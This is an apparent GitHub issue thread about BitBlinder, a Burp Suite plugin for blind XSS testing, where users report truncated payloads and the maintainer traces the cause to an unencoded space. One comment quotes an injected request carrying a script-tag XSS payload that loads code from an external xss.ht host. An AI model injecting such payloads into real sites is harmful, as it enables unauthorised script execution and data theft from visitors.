payload not correctly rendered about bitblinder

[BitTheByte]

Hi @lacroutelacroute

Sorry for the delay. Could you please answer the following:-

• What's your operation system?
• What's your burpsuite's version?
• Are you using burpsuite paid or the community edition?
• Is there any errors showing up?

And if possible please screenshot your problem

[lacroutelacroute]

kali rolling up to date last burp pro 2 the json file is not correctly read the payloads are truncated. they are not offered in full for the parameters I will try to provide a photo is not easy to use burp flow and take the screen poc just at the right time all the best Le 19/06/2019 à 16:33, Ahmed Ezzat a écrit :

…

Hi @lacroutelacroute Sorry for the delay. Could you please answer the following:- - What's your operation system? - What's your burpsuite's version? - Are you using burpsuite paid or the community edition? - Is there any errors showing up? And if possible please screenshot your problem

[BitTheByte]

For the testing I suggest running a python server and test the plugin

$ python -m SimpleHTTPServer 80

Then edit your hosts file to point domain name to the localhost

127.0.0.1        local.domain

Using your browser navigate to http://local.domain?test=1234&foo=var you should notice the traffic that being sent from the plugin at terminal

As for the issue with the config file I'll roll up a fresh kail image in order for me the recreate the issue because all my previous tests were on windows, I'll keep you updated

[lacroutelacroute]

i have a picture the result is the same by modifying the config parameter yes or no Le 19/06/2019 à 20:03, Ahmed Ezzat a écrit :

…

For the testing I suggest running a python server and test the plugin ``` $ python -m SimpleHTTPServer 80 ``` Then edit your hosts file to point domain name to the localhost ``` 127.0.0.1 local.domain ``` Using your browser navigate to http://local.domain?test=1234&foo=var you should notice the traffic that being sent from the plugin at terminal As for the issue with the config file I'll roll up a fresh kail image in order for me the recreate the issue because all my previous tests were on windows, I'll keep you updated

[ehsandeep]

Hi @BitTheByte,

Same problem, and here is what I've experienced as of now:-

Let's say we have a page with parameter res www.site.com?res=test, BitBlinder make GET request like this.

www.site.com?res="><script&blinder_ignore_request=yes src=https://x.xss.ht></script>

[BitTheByte]

Thanks @bauthard and @lacroutelacroute for pointing out on this. This problem is due to missing encoding on the space character. Weird enough burp-suite interpreted the space as a new parameter which introduced this problem.

I published a temporarily fix for the issue fd433ff let me know if the problem continues or if any variants of it is showing up

[BitTheByte]

Closed for inactivity, feel free to reopen this again if needed